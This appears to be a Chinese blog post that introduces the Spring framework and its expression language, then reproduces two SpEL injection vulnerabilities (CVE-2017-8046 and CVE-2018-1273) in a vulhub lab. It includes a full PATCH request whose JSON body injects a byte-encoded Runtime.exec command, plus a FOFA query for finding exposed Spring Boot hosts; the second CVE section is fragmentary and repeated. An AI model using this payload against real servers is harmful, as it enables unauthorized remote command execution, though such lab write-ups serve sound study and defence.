spring

spring框架介绍

Spring是Java EE编程领域的一个轻量级开源框架,该框架由一个叫Rod Johnson的程序员在2002年最早提出并随后创建,是为了解决企业级编程开发中的复杂性,业务逻辑层和其他各层的松耦合问题,因此它将面向接口的编程思想贯穿整个系统应用,实现敏捷开发的应用型框架。框架的主要优势之一就是其分层架构,分层架构允许使用者选择使用哪一个组件,同时为J2EE应用程序开发提供集成的框架。

2009年9月Spring 3.0 RC1发布后,Spring就引入了**SpEL (Spring Expression Language)**。类比Struts2框架,会发现绝大部分的安全漏洞都和OGNL脱不了干系。尤其是远程命令执行漏洞,这导致Struts2越来越不受待见。

因此,Spring引入SpEL必然增加安全风险。事实上,过去多个Spring CVE都与其相关,如CVE-2017-8039、CVE-2017-4971、CVE-2016-5007、CVE-2016-4977

SpEL是什么?

SpEL(Spring Expression Language)是基于spring的一个表达式语言,类似于struts的OGNL,能够在运行时动态执行一些运算甚至一些指令,类似于Java的反射功能。就使用方法上来看,一共分为三类,分别是直接在注解中使用,在XML文件中使用和直接在代码块中使用。

SpEL工作原理如下:

  1. 表达式:可以认为就是传入的字符串内容;
  2. 解析器︰将字符串解析为表达式内容;
  3. 上下文:表达式对象执行的环境;
  4. 根对象和活动上下文对象∶根对象是默认的活动上下文对象,活动上下文对象表示了当前表达式操作的对象

Spring Data Rest 远程命令执行命令(CVE-2017-8046)

环境
kali vulhub靶场 /spring/CVE-2017-8046
fofa:icon_hash="116323821"/app="vmware-SpringBoot-framework"

漏洞简介
Spring Data 是一个用于简化数据库访问,并支持云服务的开源框架,Spring DataCommons 是 Spring Data 下所有子项目共享的基础框架。Spring Data Commons 在 2.0.5 及以前版本中,存在一处 SpEL 表达式注入漏洞,攻击者可以注入恶意 SpEL 表达式以执行任意命令

影响版本
Plain Text
A
U
Spring Data Commons 1.13-1.13.10(Ingalls SR10)    Spring Data REST2.6-2.6.10(Ingalls SR10)  Spring DataCommons2.0-2.0.5(Kay SR5)                  Spring Data REST3.0-3.0.5(Kay SR5)
官方已经不支持的旧版本

漏洞复现

1. 访问http://your-ip:8080/customers/1 ,然后抓取数据包,使用PATCH请求来修改

PATCH /customers/1 HTTP/1.1
Host: ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 193

[{"op":"replace","path":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname","value":"vulhub"}]

其中new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,11
5}表示的命令touch /tmp/success 里面的数字是ascii码

spring 代码执行 (CVE-2018-1273) 

漏洞简介
Spring Data 是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data
Commons 是 Spring Data 下所有子项目共享的基础框架。Spring Data Commons 在 2.0.5 及
以前版本中,存在一处 SpEL 表达式注入漏洞,攻击者可以注入恶意 SpEL 表达式以执行任意命
令。

影响版本
18
漏洞利用
访问靶场地址:http://192.168.56.134:8080/users
填写注册信息,bp抓包:
Spring Data Commons 1.13 – 1.13.10 (Ingalls SR10)
Spring Data REST 2.6 – 2.6.10(Ingalls SR10)
Spring Data Commons 2.0 – 2.0.5 (Kay SR5)
Spring Data REST 3.0 – 3.0.5(Kay SR5)
官方已经不支持的旧版本

漏洞利用

访问靶场地址:http://ip:8080/users

填写注册信息,bp抓包

反弹shell 没弹出来

当出来再议

  • 9
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值